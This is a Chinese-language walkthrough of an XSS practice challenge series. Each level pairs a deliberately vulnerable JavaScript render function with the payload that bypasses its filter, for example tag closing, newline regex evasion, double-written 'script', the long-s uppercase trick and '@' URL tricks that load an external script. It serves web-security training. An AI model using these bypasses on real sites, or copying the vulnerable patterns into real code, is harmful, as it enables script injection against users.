0x00:简介
xss
练习地址:
xss
项目地址:
0x00
function render (input) {
return '<div>' + input + '</div>'
}
无过滤
<script>alert(1)</script>
0x01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
文本框无法执行,但是可以闭合<textarea>
来执行.
</textarea><script>alert(1)</script>
0x02
function render (input) {
return '<input type="name" value="' + input + '">'
}
简单的dom型xss
,闭合前面的双引号后面的句子随便构造,只要能执行.
"onmouseover="alert(1)"
或通过闭合前面的尖括号,构造新的语句执行.
"><svg/onload=alert(1)>
0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号()
,但是我们仍然可以使用反引号执行.
<script>alert`1`</script>
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号()
,反引号`
.<svg>
可以执行html转义字符.
<svg><script>alert(1)</script>
0x05
function render (input) {
input = input.replace(/-->/g, 'emoji笑脸')
return '<!-- ' + input + ' -->'
}
<!--
可以用-->
和--!>
两种方式闭合.
--!><script>alert(1)</script>
0x06
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
可以通过换行绕过正则检测.
type="image" src="xxx" onerror
="alert(1)"
0x07
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
匹配了尖括号<>
开头结尾的字符串替换为空.
可以通过少输入一个>
来绕过正则,但仍然可以执行.
<body onload="alert(1)"
0x08
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
通过换行绕过正则,闭合<style>
然后执行语句.
</style
><script>alert(1)</script>
0x09
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
匹配https://www.segmentfault.com
开头的字符串.
闭合第一个script
,执行语句,然后//
注释后面的语句.
https://www.segmentfault.com"></script><script>alert(1)</script>//
0x0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
对一些符号进行了编码,并且正则匹配了https://www.segmentfault.com
开头的字符串.
这里可以使用@
来执行我们自己的js.(其实是访问https://xss.haozi.me/j.js
)
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
html标签
,域名
不区分大小写.
<script src="https://xss.haozi.me/j.js"></script>
0x0C
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
只检查了一遍是否存在script
,于是可以在script
中双写script
绕过.
<scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt>
0x0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
过滤了<
,/
,"
,'
.
通过换行绕过注释.
然后用html
的注释符-->
注释掉后面的圆括号.
alert(1)
-->
0x0E
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
匹配了所有<
与字母的组合.
即<s
无法使用.
但是ſ
大写后为S,且其ascii值不与s相等,因此可以绕过.
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
对&
,'
,"
,<
,>
,\/
进行编码.
浏览器会先解析html
,再解析js
,因此waf
实际无用.
');alert(1)//
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
无过滤,在<script>
中直接执行.
alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
过滤了一些字符.
"
过滤为\\"
,但目的达成,闭合了前面的双引号,然后执行了语句,并用//
注释了后面的语句.
");alert(1)//
0x12
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
直接闭合最前面的<script>
,然后创造一个新的<script>
执行alert(1)
即可.
</script><script>alert(1)</script>
还不快抢沙发